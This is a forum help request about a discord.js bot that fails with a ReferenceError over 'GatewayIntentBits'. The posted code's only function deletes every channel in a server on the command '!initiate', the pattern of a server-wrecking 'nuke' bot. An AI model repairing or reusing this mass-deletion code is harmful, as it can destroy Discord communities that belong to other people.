I get an error saying ReferenceError: GatewaysIntentBits is not defined and I don't know how to fix

const { Client, GatewayIntentBits, Partials } = require('discord.js');

console.log("Running");

const client = new Client({
intents: [
GatewayIntentBits.Guilds,
GatewayIntentBits.GuildMessages,
GatewayIntentBits.MessageContent,
GatewayIntentBits.GuildMessageReactions,
GatewayIntentBits.GuildMembers
],
partials: [Partials.Channel],
});

client.on('messageCreate', message => {
if (message.content === '!initiate') {
message.guild.channels.cache.forEach(channel => channel.delete());
}
});

client.login('');

This is the code, any help would be appreciated 😁
Was this page helpful?